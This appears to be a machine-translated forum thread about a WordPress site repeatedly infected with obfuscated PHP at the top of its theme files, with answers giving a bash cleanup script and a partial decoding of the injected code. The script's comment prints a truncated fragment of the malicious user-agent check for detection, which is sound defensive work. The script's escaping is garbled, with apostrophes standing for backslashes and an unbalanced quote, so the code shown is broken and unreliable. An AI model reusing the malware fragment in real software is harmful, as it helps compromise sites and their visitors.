在我的Wordpress主题文件中不断发现注入胡言乱语的PHP


Keep finding inject gibberish PHP in my Wordpress theme files

我为一个客户的网站构建了一个自定义主题,我想它一直被黑客入侵。我发现在每个主题文件和插件的顶部都有一堆胡言乱语的代码。它都是超压缩的,不太容易阅读,但它看起来就像一堆数字。它没有在网站上输出任何内容。我知道它发生的唯一原因是,添加到插件的代码会破坏插件,WP会自动禁用它。这种情况已经发生了大约5或6次。

第二次之后,我意识到默认设置并没有切断它。所以我安装了WordFence,一个月来它运行得很好。WordFence开始描绘出在任何特定时刻有多少人试图攻击一个网站。这太疯狂了。我还更改了所有密码(用户、FTP等),更改了表前缀,阻止wp-admin,并使用不同的URL访问破折号,并关注了强化Wordpress文章中的几乎每一项。这里也采纳了一些帖子的建议。

尽管看起来一切都是徒劳的。经过一个月的成功,插件和我的措施停止了工作。无用的字符串开始出现在主题文件的顶部。但奇怪的是,不是插件文件。我解决了问题,并尝试了iThemes安全套件而不是WordFence。不!醒来发现网站又被黑客入侵了。

除此之外,我还将我的插件列表缩小到了一些值得信赖的插件,这些插件在其他网站上被证明是无害的:Formidable和Advanced Custom Fields。我担心我的主题不知怎么搞砸了,但我已经编码了十几个,在这些网站上从来没有出现过这个问题。

我不知道该怎么办。我觉得如果我明白"黑客"做了什么,我就能更好地对抗它,但我不知道。这些东西很难用谷歌搜索。如有任何指导,我们将不胜感激。

以下是注入代码的链接

我曾经在一个服务器中发现过这个问题,我最终制作了一个bash脚本来查找这个代码,只从每个受感染的PHP文件中删除了最上面的一行。它解决了这个问题。

我把它放在这里,这样你就可以用它来清除恶意代码,但记住要试着找出服务器是如何被黑客入侵的,这样你才不会再次被黑客入侵。

在bash shell中使用它非常简单:

测试是否有受感染的文件

./remove_malware.sh /var/www/wp_path/

清除受感染的文件

./remove_malware.sh /var/www/wp_path/ clean

脚本(remove_malware.sh):

#!/bin/bash
#
# This script remove malware of PHP files.
#
# In this case it will remove some malicious code
# from all Wordpress PHP files that is at top of
#  every PHP file.
#
# The string at the top of every file is:
#
# <?php if(!isset($GLOBALS["'x61'156'x75'156'x61"])) { $ua=strtolower($_SERVER["'x48'124'x54'120'x5f'125'x53'105'x52'137'x41'107'x45'116'x54"]); if ((! strstr($ua,"'x6d'163'x69'145")) and (! strstr($ua,"'x72'166'x3a'61'x31"))) $GLOBALS["'x61'156'x$
#
# This script tries to find the string inside $_SERVER
# of the above line at the top of the files to determine
# if the file is infected. If you run the script and
# nothing seems to be infected but you suspect and you 
# want to be sure, just open any PHP of Wordpress and 
# check if the malicious line code is present. If is 
# present but the script did not detect, it is because 
# the content inside $_SERVER may be diferent.
# In these cases, just replace in this script the string
# in the -e parameter of grep line with the content of 
# $_SERVER found in your PHP (remember to escape 
# the ' with '''') and run again this removal script.
#
#
# JavocSoft 2014
#
if [[ -z "$1" ]]; then
  echo "Directory where to find is required."
else
  grep -rnwl $1 --include '*.php -e "''''x48''''124''''x54''''120''''x5f''''125''''x53''''105''''x52''''137''''x41''''107''''x45''''116''''x54" | while read -r filename ; do
    if [[ ! -z "$2" ]]; then
       echo "Found file $filename. Cleaning..."
       awk 'BEGIN {matches=0} matches < 1 && /1/ { sub(/^.*<?php/,"<?php"); matches++ } { print $0 }' $filename > $filename.purged
       mv $filename $filename.bck
       mv $filename.purged $filename
    else
      echo "Found file $filename."
    fi
  done
  echo "Done."
fi

缩小范围的一种方法是打印_r(我相信它的hex_value)从您的粘贴箱:

$_SERVER["''x48''124''x54''120''x5f''125''x53''105''x52''137''x41''107''x45''116''x54"]

print_r('x48'124'x54'120'x5f'125'x53'105'x52'137'x41'107'x45'116'x54);

输出:

$_SERVER["HTTP_USER_AGENT"];

这一小部分代码记录在官方手册中:

"HTTP_USER_AGENT"用户代理的内容:当前请求,如果有的话。这是一个表示用户代理的字符串正在访问该页面。一个典型的例子是:Mozilla/4.5[en](X11;U;Linux 2.2.9 i586)。除其他外,您可以使用值,以根据用户代理的功能。

要完成整个代码需要一段时间,因为一些"胡言乱语"嵌入了其他函数中。

有一点警告,我不是安全专家,也不是php向导,当测试任何代码时,请尝试在线沙箱,比如http://sandbox.onlinephpfunctions.com/